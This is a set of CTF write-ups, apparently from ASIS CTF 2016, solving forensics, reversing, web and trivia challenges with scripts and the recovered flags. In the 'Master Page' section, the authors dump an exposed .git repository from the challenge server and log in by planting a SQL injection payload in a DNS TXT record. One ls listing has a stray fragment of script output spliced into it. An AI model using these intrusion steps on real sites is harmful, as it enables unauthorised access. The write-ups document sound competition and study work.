--2016-09-14 20:52:15--  https://dl.dropboxusercontent.com/content_link/M8jZJ7QDFQRaG9mx8jdgWL0Fq2Xxck8bYbEmpmebmOKnbUH5lAu6GzlKRy04M6pt/file
Resolving dl.dropboxusercontent.com (dl.dropboxusercontent.com)... 108.160.172.5
Connecting to dl.dropboxusercontent.com (dl.dropboxusercontent.com)|108.160.172.5|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 938848 (917K) [text/plain]
Saving to: ‘words’

words                           100%[================================================>] 916.84K   401KB/s    in 2.3s    

2016-09-14 20:52:18 (401 KB/s) - ‘words’ saved [938848/938848]

sh-4.3$ ls
typo  words
sh-4.3$ cp words words.orig
sh-4.3$ patch -p0 < typo
can't find file to patch at input line 3
Perhaps you used the wrong -p or --strip option?
The text leading up to this was:
--------------------------
|--- cbbcded3dc3b61ad50c4e36f79c37084	2016-09-07 09:39:40.000000000 +0430
|+++ 6acaad7ca3a38be5c8a4cfddaa9e6643	2016-09-07 09:39:40.000000000 +0430
--------------------------
File to patch: words
patching file words
sh-4.3$ ls
typo  words  words.orig
sh-4.3$ sudo npm install -g typo-steganography
(snip)
sh-4.3$ typo --decode -g words.orig words
ASIS{c1c87a491ada5fad4b153f1d98e8e396}
sh-4.3$ exit
exit

One Bad Son (Forensics 127pts)

The given data looks like database containing some records.

0000000: 0002 5f69 6400 0b00 0000 3031 3938 3335  .._id.....019835
0000010: 3038 3834 0002 666e 616d 6500 0500 0000  0884..fname.....
0000020: 6a75 6e6b 0010 6c65 6e00 0400 0000 0264  junk..len......d
0000030: 6174 0009 0000 0057 4e78 514b 673d 3d00  at.....WNxQKg==.
0000040: 0263 7263 0009 0000 0063 6136 6561 3038  .crc.....ca6ea08
0000050: 3700 1272 6177 003e b33d d48f 4903 0009  7..raw.>.=..I...
0000060: 6d74 696d 6500 6038 b709 d43b 0500 006e  mtime.`8...;...n
0000070: 0000 0002 5f69 6400 0b00 0000 3031 3031  ...._id.....0101
0000080: 3839 3431 3536 0002 666e 616d 6500 0500  894156..fname...
0000090: 0000 666c 6167 0010 6c65 6e00 0300 0000  ..flag..len.....
00000a0: 0264 6174 0005 0000 0054 3075 3700 0263  .dat.....T0u7..c

looking carefully the file and expect file format as following.

Format

the length of timestamp is 10bytes, we have no idea because ordinary timestamp is 4 or 8 bytes.
so looking all timestamps and found that meaningful bytes are head 4bytes.

Record

Each record has following columns.

crc is crc32 checksum of decoded dat.

fname is “flag” or “junk”, and we recovered the data by checking fname, crc, mtime.
run following script and got flag.

import sys
import struct
import zlib

fp = open('./One_Bad_Son')

EOF = 1

records = []

def parse(fp):
    delim = fp.read(1)
    assert delim == '\x00'

    record = {}

    while True:
        datatype = fp.read(1)

        if not datatype:
            return EOF

        if datatype == '\x02': # str
            pass
        elif datatype == '\x10': # int
            pass
        elif datatype == '\x00':
            padd = fp.read(1)
            assert padd == '\x00', "Incorrect padd: {}".format(repr(padd))
            records.append(record)
            return 0
        elif datatype == '\x09': # time
            pass
        elif datatype == '\x12': # raw
            pass
        else:
            assert False, "Unknown datatype: {}".format(ord(datatype))

        name = fp.read(1)
        while name[-1] != '\x00':
            name += fp.read(1)
        name = name[:-1]

        if datatype == '\x02': 
            data_len = struct.unpack("<I", fp.read(4))[0]
            data = fp.read(data_len)
            data = data[:-1]
        elif datatype == '\x10': # int
            data = struct.unpack("<I", fp.read(4))[0]
        elif datatype == '\x09': # time
            data = fp.read(10)
            # print data.encode('hex'), record['fname']
            data = int((data[:4][::-1]+data[8:]).encode('hex'), 16)
        elif datatype == '\x12': #raw
            data = fp.read(8)
            data = data[:-1]

        print name, repr(data)
        record[name] = data

    print ''


while True:
    if parse(fp):
        break

valid_records = filter(lambda x:x['crc'] == hex(zlib.crc32(x['dat'].decode('base64'))&0xffffffff)[2:].zfill(8), records)

flag = ""

for el in sorted(filter(lambda x:x['fname']=='flag', valid_records), key=lambda x:x['mtime']):
    flag += el['dat'].decode('base64')


open('flag', 'w').write(flag)

p1ng (Forensic 121pts)

First, I inspected the PNG file. The PNG file includes fcTL and fdAT chunks. This means the file is APNG.
But it seems that the file includes some errors: invalid sequence number, invalid canvas size. So I fixed these errors by following script.

require 'zlib'

def read_chunk(f)
  length = f.read(4).unpack("I>")[0]
  ctype = f.read(4)
  data = f.read(length)
  crc = f.read(4)
  return {ctype: ctype, data: data, crc: crc}
end
def write_chunk(f, chunk)
  f.write([chunk[:data].length].pack("I>"))
  f.write(chunk[:ctype])
  f.write(chunk[:data])
  f.write(chunk[:crc])
end
def fixcrc(chunk)
  chunk[:crc] = [Zlib.crc32(chunk[:ctype] + chunk[:data])].pack("I>")
end

def guess_size(data)
  size = Zlib.inflate(data).size
  candidates = []
  (170..190).each do |w|
     (70..90).each do |h|
       if size == (w*4+1)*h then
         candidates.push([w, h])
       end
     end
  end
  candidates[0]
end
def set_size(chunk, size)
  w, h = size
  chunk[:data][4..7] = [w].pack("I>")
  chunk[:data][8..11] = [h].pack("I>")
end
def fix_size(fcTL_chunk, fdAT_chunk)
  set_size(fcTL_chunk, guess_size(fdAT_chunk[:data][4..-1]))
end

### read ###
sig = nil
chunks = []
open("p1ng/p1ng") do |f|
  sig = f.read(8)
  loop do
    chunk = read_chunk(f)
    chunks.push(chunk)
    break if chunk[:ctype] == "IEND"
  end
end

### modify ###
chunks[1][:data][0..3] = [34].pack("I>")

# fix sequence number
chunks[5][:data][0..3] = [2].pack("I>")
chunks[31][:data][0..3] = [28].pack("I>")
chunks[37][:data][0..3] = [34].pack("I>")
chunks[39][:data][0..3] = [36].pack("I>")

# fix frame canvas size and delay
chunks[2][:data][4..7] = [180].pack("I>") # w
chunks[2][:data][8..11] = [76].pack("I>") # h
22.times do |i|
  pos = 4 + i*2
  fix_size(chunks[pos], chunks[pos + 1])
  chunks[pos][:data][12..15] = [0].pack("I>") # x_offset
  chunks[pos][:data][16..19] = [0].pack("I>") # y_offset
  chunks[pos][:data][20..21] = [2000].pack("S>") # delay_num
end

# fix crc
chunks.each do |chunk|
  fixcrc(chunk)
end

### write ###
open("fixed.png", "w") do |f|
  f.write(sig)
  chunks.each do |chunk|
    write_chunk(f, chunk)
  end
end
ASIS{As_l0n9_4s_CTF_3x1sts_th3r3_w1ll_b3_ASIS_4nd_4s_l0n9_4s_ASIS_3x1sts_th3r3_w1ll_b3_PNG!}

Raw Veganism (Forensic/Warm-up 89pts)

The given files are extracted to 40 png images.
We found that timestamps are divided into 5 groups.

ls -lt --full-time
total 9760
-rwxr-xr-x 1 icchy icchy 246541 2016-09-09 01:41:14.000000000 +0900 041ed9c9f84d7a0b4496db8a4c826f10.png
-rwxr-xr-x 1 icchy icchy 2$ ruby merge.rb *.png
...
"_ASIS_is_C3rt4inly_c4pabl3_0f_hiding_d4tA_in_raw_PNG_chunks!"46542 2016-09-09 01:41:14.000000000 +0900 0a29ad2d1aace7ddfda6623ed14b3cfc.png
-rwxr-xr-x 1 icchy icchy 246541 2016-09-09 01:41:14.000000000 +0900 563de7a878f2205af9acef7c86556cf4.png
-rwxr-xr-x 1 icchy icchy 246539 2016-09-09 01:41:14.000000000 +0900 719e05cb25816db1393c64c472331de1.png
-rwxr-xr-x 1 icchy icchy 246537 2016-09-09 01:41:14.000000000 +0900 92c899bed7be8af5cb79663fd32fae11.png
-rwxr-xr-x 1 icchy icchy 246538 2016-09-09 01:41:14.000000000 +0900 a57c72b0f8b9bbecdcfd5432a4d2eb09.png
-rwxr-xr-x 1 icchy icchy 246540 2016-09-09 01:41:14.000000000 +0900 b27dc3ed73a3bdf9cac3d9d9932912e6.png
-rwxr-xr-x 1 icchy icchy 246543 2016-09-09 01:41:14.000000000 +0900 c1c12dd4337839c56af7a7eab713cffe.png
-rwxr-xr-x 1 icchy icchy 246537 2016-09-09 01:41:11.000000000 +0900 0dbca0ab91aa52a82c356cf35fd12668.png
-rwxr-xr-x 1 icchy icchy 246537 2016-09-09 01:41:11.000000000 +0900 1ddb2cc40e3c7bfb63373a16b764454b.png
-rwxr-xr-x 1 icchy icchy 246538 2016-09-09 01:41:11.000000000 +0900 2888e1b8abae9a1e952db101f0c86ca1.png
-rwxr-xr-x 1 icchy icchy 246539 2016-09-09 01:41:11.000000000 +0900 2f7261b0dbcfec78455fb50ed13dead6.png
-rwxr-xr-x 1 icchy icchy 246541 2016-09-09 01:41:11.000000000 +0900 7cf7909d1260d6f84eab3009fe06daad.png
-rwxr-xr-x 1 icchy icchy 246537 2016-09-09 01:41:11.000000000 +0900 a88b4bb3c225ed20440ba6bf633ab169.png
-rwxr-xr-x 1 icchy icchy 246536 2016-09-09 01:41:11.000000000 +0900 c7931c279ce7d5f8cbd38c6069464802.png
-rwxr-xr-x 1 icchy icchy 246541 2016-09-09 01:41:11.000000000 +0900 e071dd8812e5a4256f75d47ad2dfeb39.png
-rwxr-xr-x 1 icchy icchy 246539 2016-09-09 01:41:08.000000000 +0900 35f36d10e91fb913a5e7c9cf7c6bf05b.png
-rwxr-xr-x 1 icchy icchy 246540 2016-09-09 01:41:08.000000000 +0900 3dd036d19ddacac4cd521faaabd6e5f4.png
-rwxr-xr-x 1 icchy icchy 246544 2016-09-09 01:41:08.000000000 +0900 4738e11f93c0bbe6bb0508a3358dcc6a.png
-rwxr-xr-x 1 icchy icchy 246540 2016-09-09 01:41:08.000000000 +0900 4cc1be4ed28baf7563a7bb5cfe7afe07.png
-rwxr-xr-x 1 icchy icchy 246539 2016-09-09 01:41:08.000000000 +0900 815aadc10f8d41c013fe5673629b6642.png
-rwxr-xr-x 1 icchy icchy 246541 2016-09-09 01:41:08.000000000 +0900 96dcd0b28b851c67b88f137fc99d1138.png
-rwxr-xr-x 1 icchy icchy 246540 2016-09-09 01:41:08.000000000 +0900 97a3c832cf761ed406807e09d7c5758c.png
-rwxr-xr-x 1 icchy icchy 246544 2016-09-09 01:41:08.000000000 +0900 c149489a34faba509f344c8b3d352aba.png
-rwxr-xr-x 1 icchy icchy 246539 2016-09-09 01:41:05.000000000 +0900 043d09e121a1d2d77aaa098487ddf62d.png
-rwxr-xr-x 1 icchy icchy 246539 2016-09-09 01:41:05.000000000 +0900 153ba8b36ae16e23bc2e5f9eb2a6a8ac.png
-rwxr-xr-x 1 icchy icchy 246540 2016-09-09 01:41:05.000000000 +0900 31120e8287762360b478fae1caa0cf85.png
-rwxr-xr-x 1 icchy icchy 246538 2016-09-09 01:41:05.000000000 +0900 6e43f9630245c1137c2c6581c68315a0.png
-rwxr-xr-x 1 icchy icchy 246537 2016-09-09 01:41:05.000000000 +0900 6ef798f8efac382a1a571429635a25d1.png
-rwxr-xr-x 1 icchy icchy 246538 2016-09-09 01:41:05.000000000 +0900 b703cc3df27965de11879b1bf5a4ce69.png
-rwxr-xr-x 1 icchy icchy 246540 2016-09-09 01:41:05.000000000 +0900 bd84baf5910e59c323379e1b33e36ce2.png
-rwxr-xr-x 1 icchy icchy 246539 2016-09-09 01:41:05.000000000 +0900 d167ebbed97915d57e25e1358db26623.png
-rwxr-xr-x 1 icchy icchy 246543 2016-09-09 01:41:02.000000000 +0900 284f6b43f1da540bdeb4f349a086fe56.png
-rwxr-xr-x 1 icchy icchy 246449 2016-09-09 01:41:02.000000000 +0900 5598f8c115335d71b65075aaf8c16ba5.png
-rwxr-xr-x 1 icchy icchy 246449 2016-09-09 01:41:02.000000000 +0900 580385af1a9cceba19ab9153521affd0.png
-rwxr-xr-x 1 icchy icchy 246539 2016-09-09 01:41:02.000000000 +0900 673d2143b07f6d73e924cfdce21e7e61.png
-rwxr-xr-x 1 icchy icchy 246537 2016-09-09 01:41:02.000000000 +0900 8785304561ecf81141fbdef7a914fb81.png
-rwxr-xr-x 1 icchy icchy 246538 2016-09-09 01:41:02.000000000 +0900 99af438b2bbcbbcf6faa8a6954a311fb.png
-rwxr-xr-x 1 icchy icchy 246539 2016-09-09 01:41:02.000000000 +0900 be4e230f1f4f5243ab22fd8d6ab30754.png
-rwxr-xr-x 1 icchy icchy 246538 2016-09-09 01:41:02.000000000 +0900 e51b9182f54ed286a13bc3b422698edb.png

calculating all pairs of image which has same timestamp, we got some images.

This image showing part of flag “ASIS {ooo…ooo}” and some circles are filled, and we found the image contains 3 odd pixels at it’s tail, 0x6e, 0x74, 0x21 (“nt!”).

We thought that circles are replcaed with 3 chars, and wrote program. (coder: nomeaning)

search.rb

require 'rmagick'
include Magick
files = Dir.glob("*.png").map do |f|
  f
end

images = files.map{|a|[ImageList.new(a), a]}

W = 3328
H = 74

# read all files
images.each.with_index do |(i1, f1), i|
  images[0, i].each.with_index do |(i2, f2), j|
    next if File::stat(f1).mtime != File::stat(f2).mtime
    ret = Image.new(W, H)
    cnt = 0
    H.times do |y|
      W.times do |x|
        pixel = 0
        [i1,i2].each do |f|
          pixel = pixel ^ (f.pixel_color(x,y).red / 257)
        end
        pixel %= 256
        ret.pixel_color(x,y,Pixel.new(pixel*257, pixel*257, pixel*257))
        cnt += 1if pixel <= 10
      end
    end
    p cnt
    if cnt >= 100000
      ret.write("dists2/#{i}-#{j}-image.png")
      break
    end
  end
end

merge.rb

require 'rmagick'

include Magick


images = ARGV.map do |a|
  ImageList.new(a)
end
H = images[0].rows
W = images[0].columns
hash = {}
ret = Image.new(W, H)
images.each.with_index(1) do |image, k|
  r1 = image.pixel_color(W-3, H-1).red / 257
  r2 = image.pixel_color(W-2, H-1).red / 257
  r3 = image.pixel_color(W-1, H-1).red / 257
  p [r1, r2, r3]
  W.times do |x|
    H.times do |y|
      t = image.pixel_color(x,y)
      if t.red == 0
        next
      end
      if ret.pixel_color(x,y).red != 255 * 257
        ret.pixel_color(x, y, Pixel.new(255*257,255*257,255*257))
      else
        ret.pixel_color(x,y,Pixel.new(r1, r2, k))
      end
    end
  end
  hash[k] = [r1, r2, r3]
end
ret.write('../test.png')

map = ""
W.times do |x|
  t = ret.pixel_color(x,H/2)
  if t.red / 257 == 255
    map += "*"
  else
    map += (t.blue).chr
  end
end
p map
ret = map.squeeze.gsub("*", "")
p ret
flag = ''
ret.each_char do |c|
  flag << hash[c.ord][0].chr
  hash[c.ord] = hash[c.ord][1..-1]
end
p hash
p flag

Then we run the program and got flag.
$ ruby merge.rb *.png ... "_ASIS_is_C3rt4inly_c4pabl3_0f_hiding_d4tA_in_raw_PNG_chunks!"

Sky Blue (Forensic 73pts)

I guessed that the pcap file contains a png file because strings pcap outputs IHDR and IEND.
By wireshark, I search the packet which contains IHDR or IEND.(frame contains "IHDR")
Packet 283 contains IHDR and packet 313 contains IEND.

We saved the communication to file between packet 283 and packet 313. We used export packet bytes to data. Then we concatenated the files and got the flag.

% cat p[1-7] | tail -c +33 > flag.png  

Trinity (Reverse 247pts)

First, I tried to solve this by angr but it didn’t work. So I created the decompiler of judge function.

asm = File.read('./asm.txt').lines # judge function's disassemble result by IDA
reg = {}
reg_names = 'r11d|r10d|r9d|r8d|r7d|r12d|r13d|r14d|r15d|eax|ebx|ecx|edx'
def to_v(s)
  unless /^[0-9A-F]+h?$/ =~ s
    fail s
  end
  s.to_i(16).to_s
end
asm.map(&:chomp).each do |line|
  if line.start_with?('push')
    STDERR.puts "Ignore: push"
  elsif line.start_with?('sub     rsp')
    STDERR.puts "Ignore: sub rsp"
  elsif /^movsx\s+(\w+), byte ptr \[rdi(\+[\dA-F]+h?)?\]/ =~ line
    # p [$1, $2]
    ofs = if $2
            $2[1..-1].to_i(16)
          else
            0
          end
    reg[$1] = 's[%d]' % ofs
  elsif /^mov     (#{reg_names}), (#{reg_names})$/ =~ line.chomp
    reg[$1] = reg[$2]
  else
    if line.start_with?('mov')
      first, second = line[8..-1].split(', ')
      reg[first] = reg[second]
    elsif line.start_with?('add')
      first, second = line[8..-1].split(', ')
      next if first == 'r15d'
      break if first == 'rsp'
      reg[first] =  reg[first] + '+(' + reg[second] + ')'
    elsif line.start_with?('sub')
      first, second = line[8..-1].split(', ')
      reg[first] =  reg[first] + '-(' + reg[second] +')'
    elsif line.start_with?('xor')
      first, second = line[8..-1].split(', ')
      if first == 'r15d'
        reg['r15'] = 0
        reg.delete 'r15d'
      else
        STDERR.puts "XOR: #{line}"
      end
    elsif line == 'setz    r15b'
      reg['r15'] += 1
    elsif line.start_with?('setz')
      reg['r15'] += 1
    elsif line.start_with?('lea')
      first, second = line[8..-1].split(', ')
      second = second[1..-2]
      ret = ''
      if second.count('-') == 1
        p, v = second.split('-')
        if reg[p].is_a? Integer
          reg[first] = (reg[p] - to_v(v).to_i).to_s
        else
          fail second
        end
      elsif second.count('+') == 1
        p, v = second.split('+')
        if reg[p].is_a? Integer
          reg[first] = (reg[p] + to_v(v).to_i).to_s
        elsif second == 'rdx+r14*2'
          reg[first] = reg['edx'] + '+' + reg['r14d'] + '+' + reg['r14d']
        elsif second == 'r9+rsi*2'
          reg[first] = reg['r9d'] + '+' + reg['esi'] + '+' + reg['esi']
        elsif second == 'rdx+r13*2'
          reg[first] = reg['edx'] + '+' + reg['r13d'] + '+' + reg['r13d']
        elsif second == 'rdx+rdi*2'
          reg[first] = reg['edx'] + '+' + reg['edi'] + '+' + reg['edi']
        elsif second == 'rdx+rcx*2'
          reg[first] = reg['edx'] + '+' + reg['ecx'] + '+' + reg['ecx']
        elsif second == 'rdx+r10*2'
          reg[first] = reg['edx'] + '+' + reg['r10d'] + '+' + reg['r10d']
        elsif second == 'rax+r12*2'
          reg[first] = reg['eax'] + '+' + reg['r12d'] + '+' + reg['r12d']
        elsif second == 'rsi+rdx*2'
          reg[first] = reg['esi'] + '+' + reg['edx'] + '+' + reg['edx']
        else
          fail second
        end
      else
        fail second
      end
    elsif line.start_with?('neg')
      first = line[8..-1]
      reg[first] = '-(' + reg[first] +')'

    elsif line.start_with?('cmp')
      first, second = line[8..-1].split(', ')
      if second.end_with?('h') && /[a-f0-9]+/ =~ second
        second = second.to_i(16).to_s
      else
        second = reg[second]
      end
      if first == 'r15d'
        break
      end
      puts reg[first] + '=' + second

    else
      STDERR.puts 'Unknown: %s' % line
      break
    end
  end
end
$ ruby decompile.rb
s[7]-(s[9])+(s[4])-(s[46])+(s[29])-(s[14])-(s[2])+(s[46])-(s[19])+(s[0])-(s[40])+(s[8])-(s[14])+(s[30])-(s[1])+(s[31])-(s[30])+(s[6])+(s[49])+(s[3])-(s[35])-(s[23])-(s[39])-(s[26])+(s[19])+(s[29])-(s[30])-(s[14])-(s[17])+(s[43])+(s[6])+(s[40])=97
s[29]-(s[23])-(s[28])+(s[49])-(s[5])-(s[15])+(s[17])-(s[41])-(s[31])-(s[12])+(s[19])+(s[39])+(s[13])-(s[45])+(s[35])+(s[23])-(s[44])+(s[14])-(s[37])-(s[0])+(s[5])-(s[27])+(s[18])+(s[17])-(s[25])-(s[43])-(s[5])+(s[32])+(s[40])-(s[36])-(s[10])-(s[22])+(s[44])=-266
...

I used Z3 to solve equations made from decompiler.

from z3 import *

solver = Solver()
s = IntVector("x", 0x33)
solver.add(s[7]-(s[9])+(s[4])-(s[46])+(s[29])-(s[14])-(s[2])+(s[46])-(s[19])+(s[0])-(s[40])+(s[8])-(s[14])+(s[30])-(s[1])+(s[31])-(s[30])+(s[6])+(s[49])+(s[3])-(s[35])-(s[23])-(s[39])-(s[26])+(s[19])+(s[29])-(s[30])-(s[14])-(s[17])+(s[43])+(s[6])+(s[40])==97)
solver.add(s[29]-(s[23])-(s[28])+(s[49])-(s[5])-(s[15])+(s[17])-(s[41])-(s[31])-(s[12])+(s[19])+(s[39])+(s[13])-(s[45])+(s[35])+(s[23])-(s[44])+(s[14])-(s[37])-(s[0])+(s[5])-(s[27])+(s[18])+(s[17])-(s[25])-(s[43])-(s[5])+(s[32])+(s[40])-(s[36])-(s[10])-(s[22])+(s[44])==-266)
# ...

print solver.check()
m = solver.model()
ret = ''
for i in s:
  ret += chr(m[i].as_long())
  print ret
$ python solve.py
...
ASIS{_d0in9__RE__wi7h_L1n34r_AlG3br4_iz_fun_tOo0!}

Licensable (Reverse/Warm-up 121pts)

This app has encoding part and checking part.
Firstly app encodes input mail address (calc hash many times).

Secondly it checks if “encode(mail address) == input”.

Analizing whole this app was so troublesome for me, so I used HW breakpoint.

Firstly breakpoint was hit here.
But maybe NULL check and calc length.

Secondly breakpoint was hit here.
Input is copied here.

Breakpoint wasn’t hit any more.

So I set the HW breakpoint in the address of copy of original input.

Breakpoint was hit here.

Input is compared with base64(hash(mail address)) here per 4byte.

Base64(hash(mail address)) is fixed value, so I copy and paste this value from memory.

➜  licensable  ./licensable.exe admin@asis-ctf.ir OTA0ZDQyZWIxN2YzMjQxNDc2NzVkYjg3YWYzOWU0ZmU5MTlhNTQxN2I5NGExNzhhNzFlODU1ZjViMzhhZjA5ZA==
calculating : 99.916817 %
res = 1

php-asm (Reverse/Web/Crypto 366pts)

We decompiled the program by hands and we change the program to call d with "D0800A94ABF879CE6785B177A09B94D913F18862B8A310D80E52306018FA3D8D63B93BFF1CAFDB7789F3".

<?php
// rol
function posix_xisop($arg1, $arg2) {
  $x = ($arg1 + 0x100000000) & 0xffffffff;
  return ((~(0xffffffff << $arg2) & ($x >> (32 - $arg2))) | ($x << $arg2)) & 0xffffffff;
}

function posix_nice($str, $a) {
  if(!$a) {
    $a = 0;
  }
  return (ord($str[$a]) & 255) | 
  ((ord($str[$a + 1]) & 255) << 8) | 
  ((ord($str[$a + 2]) & 255) << 16) | 
  ((ord($str[$a + 3]) & 255) << 24);
}

function posix_telldir($a) {
  return [($a & 255), ($a >> 8 & 255),
          ($a >> 16 & 255), ($a >> 24 & 255)];
}

function posix_ttyname2win($data) {
    $ret = [];
    for($i = 0; $i < 16; ++$i) {
        $tmp = posix_telldir($data[$i]);
        $ret[4 * $i] = $tmp[0];
        $ret[4 * $i + 1] = $tmp[1];
        $ret[4 * $i + 2] = $tmp[2];
        $ret[4 * $i + 3] = $tmp[3];
    }
    return $ret;
}

function posix_sigblock($L0) {
    $L1 = array();
    $L2 = array();
    for ($L3 = 0; $L3 < 16; ++$L3) {
        $L1[$L3] = $L0[$L3];
    }
    for ($L3 = 20; $L3 > 0; $L3 -= 2) {
        $L1[4]  ^= posix_xisop($L1[0] + $L1[12], 1);
        $L1[8]  ^= posix_xisop($L1[4] + $L1[0], 2);
        $L1[12] ^= posix_xisop($L1[8] + $L1[4], 3);
        $L1[0]  ^= posix_xisop($L1[12] + $L1[8], 3);

        $L1[9]  ^= posix_xisop($L1[5] + $L1[1], 1);
        $L1[13] ^= posix_xisop($L1[9] + $L1[5], 2);
        $L1[1]  ^= posix_xisop($L1[13] + $L1[9], 3);
        $L1[5]  ^= posix_xisop($L1[1] + $L1[13], 2);

        $L1[14] ^= posix_xisop($L1[10] + $L1[6], 1);
        $L1[2]  ^= posix_xisop($L1[14] + $L1[10], 3.0);
        $L1[6]  ^= posix_xisop($L1[2] + $L1[14], 3.0);
        $L1[10] ^= posix_xisop($L1[6] + $L1[2], 7);
        
        $L1[3]  ^= posix_xisop($L1[15] + $L1[11], 6);
        $L1[7]  ^= posix_xisop($L1[3] + $L1[15], 4);
        $L1[11] ^= posix_xisop($L1[7] + $L1[3], 2);
        $L1[15] ^= posix_xisop($L1[11] + $L1[7], 1);

        $L1[1] ^= posix_xisop($L1[0] + $L1[3], 7);
        $L1[2] ^= posix_xisop($L1[1] + $L1[0], 4);
        $L1[3] ^= posix_xisop($L1[2] + $L1[1], 6);
        $L1[0] ^= posix_xisop($L1[3] + $L1[2], 10.0);

        $L1[6] ^= posix_xisop($L1[5] + $L1[4], 18);
        $L1[7] ^= posix_xisop($L1[6] + $L1[5], 13);
        $L1[4] ^= posix_xisop($L1[7] + $L1[6], 11);
        $L1[5] ^= posix_xisop($L1[4] + $L1[7], 3);

        $L1[11] ^= posix_xisop($L1[10] + $L1[9], 0 /*pow(7, 7, 7)*/);
        $L1[8]  ^= posix_xisop($L1[11] + $L1[10], 6);
        $L1[9]  ^= posix_xisop($L1[8] + $L1[11], 12);
        $L1[10] ^= posix_xisop($L1[9] + $L1[8], 0 /*pow(6, 4, 6)*/);

        $L1[12] ^= posix_xisop($L1[15] + $L1[14], 5);
        $L1[13] ^= posix_xisop($L1[12] + $L1[15], 2);
        $L1[14] ^= posix_xisop($L1[13] + $L1[12], 1);
        $L1[15] ^= posix_xisop($L1[14] + $L1[13], 11);
    }
    for ($L3 = 0; $L3 < 16; ++$L3) {
        $L2[$L3] = ($L1[$L3] + $L0[$L3] + 0x100000000) & 0xffffffff;
    }
    return posix_ttyname2win($L2);
}

function posix_ulimit($L0, $L1) {
    $L2 = array();
    $L3 = 0;
    $L2[1] = posix_nice($L0, 0);
    $L2[2] = posix_nice($L0, 4);
    $L2[3] = posix_nice($L0, 8);
    $L2[4] = posix_nice($L0, 12);
    if (strlen($L0) == 32) {
        $L3 += 16;
        $L4 = "welcome_to_korea";
    } else if (strlen($L0) == 16) {
        $L4 = "welcome_to_japan";
    }
    $L2[11] = posix_nice($L0, $L3);
    $L2[12] = posix_nice($L0, $L3 + 4);
    $L2[13] = posix_nice($L0, $L3 + 8);
    $L2[14] = posix_nice($L0, $L3 + 12);
    
    $L2[0] = posix_nice($L4, 0);
    $L2[5] = posix_nice($L4, 4);
    $L2[10] = posix_nice($L4, 8);
    $L2[15] = posix_nice($L4, 12);
    
    $L2[6] = posix_nice($L1, 0);
    $L2[7] = posix_nice($L1, 4);
    $L2[8] = 0;
    $L2[9] = 0;
    return $L2;
}
function remilia($a1, $a2, $a3) {
  $l3 = "";
  $l4 = 0;
  $l5 = strlen($a1);
  $l6 = 0;
  $l7 = posix_ulimit($a2, $a3); // array
  if(!$l5) return $l3;
  while(true) {
    $l8 = posix_sigblock($l7);
    $l7[8] = ($l7[8] + 1) & 0xffffffff;
    if(!$l7[8]) {
      $l7[9] = ($l7[9] + 1) & 0xffffffff;
    }

    if($l5 <= 64) {
      for($l4 = 0;$l4 < $l5; ++$l4) {
        $l3 .= chr(ord($a1[$l6 + $l4]) ^ $l8[$l4]);
      }
      return $l3;
    }
    for($l4 = 0; $l < 64; ++$l4) {
      $l3 .= chr(ord($a1[$l6 + $l4]) ^ $l8[$l4]);
    }
    $l5 -= 64;
    $l6 += 64;
  }
}

function flandre($a1, $a2, $a3) {
  return remilia($a1, $a2, $a3);
}


function tadaima($data) {
  $ret = ''; // l1
  $i = 0; // l2
  for($i = 0; $i < strlen(data); $i++) {
    $tmp = ord($data[$i]); // L3
    $ret .= substr("0" . dechex($tmp), -2);
  }
  return $ret;
}

function arigato($data) {
  $ret = ""; // l1
  $i = 0; // l2
  while($i < strlen($data) - 1) {
    $ret .= chr(hexdec($data[$i] . $data[$i + 1]));
    $i += 2;
  }
  return $ret;
}

function d($data) {
  // $data 0
  $str = "*POOR*CRYPTOGRAPHY*STRIKES*BACK*"; // l1
  $hv = strtolower(substr($data, 0, 8)); // l2
  $data = substr($data, 8);
  $decrypted = remilia(arigato($data), $str, $hv);
  $checksum = hash("adler32", $decrypted);
  var_dump($decrypted);
  var_dump($checksum);
  if($hv != $checksum) {
    return false;
  }else {
    return $decrypted;
  }
}

error_reporting(-1);
$l0 = "D0800A94ABF879CE6785B177A09B94D913F18862B8A310D80E52306018FA3D8D63B93BFF1CAFDB7789F3";
var_dump(d($l0));
/*
if(e($_REQUEST['flag']) == $l0) {
  echo "OK";
  exit(0);
}else {
  echo "Wrong! Encrypted Flag: " . $l0;
  exit(0);
}
*/%               

We ran the program, then we got the flag.

$ php decompiled.php
string(38) "ASIS{f5e44e659b602097607bdfb37a492b27}"
string(8) "d0800a94"
string(38) "ASIS{f5e44e659b602097607bdfb37a492b27}"

Master Page (Reverse/Crypto/Web) 315pts

There are .git directory. So we got the data.

$ curl -A '' https://masterpage.asis-ctf.ir/.git/refs/heads/master
00b5f418cb49e2fd68e849d52b256e779391caff
$ mkdir tmp_git
$ cd tmp_git
$ git init
$ git http-fetch -a 00b5f418cb49e2fd68e849d52b256e779391caff https://masterpage.asis-ctf.ir/.git/ 

We checked the source code and found an vulnerability. The program doesn’t check $ip when POST data is empty.

    foreach($_POST as $_VAR){
        if(preg_match("/{$filter}/i", $_VAR) || preg_match("/{$filter}/i", $ip))
        {
            exit("Blocked!");
        }
    }

Therefore we added a txt record which contains ' union select 'admin', null -- ' to dns. Then we got the flag.

$ curl https://masterpage.asis-ctf.ir/ -A ''
ASIS{6dcb302a3ad0501bcc3c2880b9aec3fc}<HR><HR><h1>Please login.</h1><form method=POST><input type=text placeholder=username name=user>&nbsp;<input type=password placeholder=password name=pass><input type=submit name=submit><HR>

Btw, why this problem has crypto genre?

Smallest MD5 (Trivia 19pts)

I googled some keywords: md5 proof-of-work, md5 smallest, …
Finally, I found http://stackoverflow.com/questions/25341517/md5-hash-with-leading-zeros by searching “md5 leading-zero”.

http://www.crysys.hu/hashgame/allrecord.php

md5 min:        00000000000000d4a49581c7f0638557        Jiyong Youn(HLETRD_     2016-02-19 15:25:19

Source data (base64 encoded):
MDhuaShnMHUzYWRhX0ppeW9uZ1lvdW4tSExFVFJE
Source data (may be binary):
08ni(g0u3ada_JiyongYoun-HLETRD
(Take care, you cannot see if the source data ends with \n or not)

Binary string:
110000 111000 1101110 1101001 101000 1100111 110000 1110101 110011 1100001 1100100 1100001 1011111 1001010 1101001 1111001 1101111 1101110 1100111 1011001 1101111 1110101 1101110 101101 1001000 1001100 1000101 1010100 1010010 1000100 
ASIS{08ni(g0u3ada_JiyongYoun-HLETRD}

CTF 101 (Trivia/Warm-up 3pts)

I checked HTTP header of the score server.

Flag: QVNJU3szMWE0ODM5MDBiODU3NjQyNmNjY2RmNTU0MDJiOWRkNn0K; base64
% base64 -d
QVNJU3szMWE0ODM5MDBiODU3NjQyNmNjY2RmNTU0MDJiOWRkNn0K
^D
ASIS{31a483900b8576426cccdf55402b9dd6}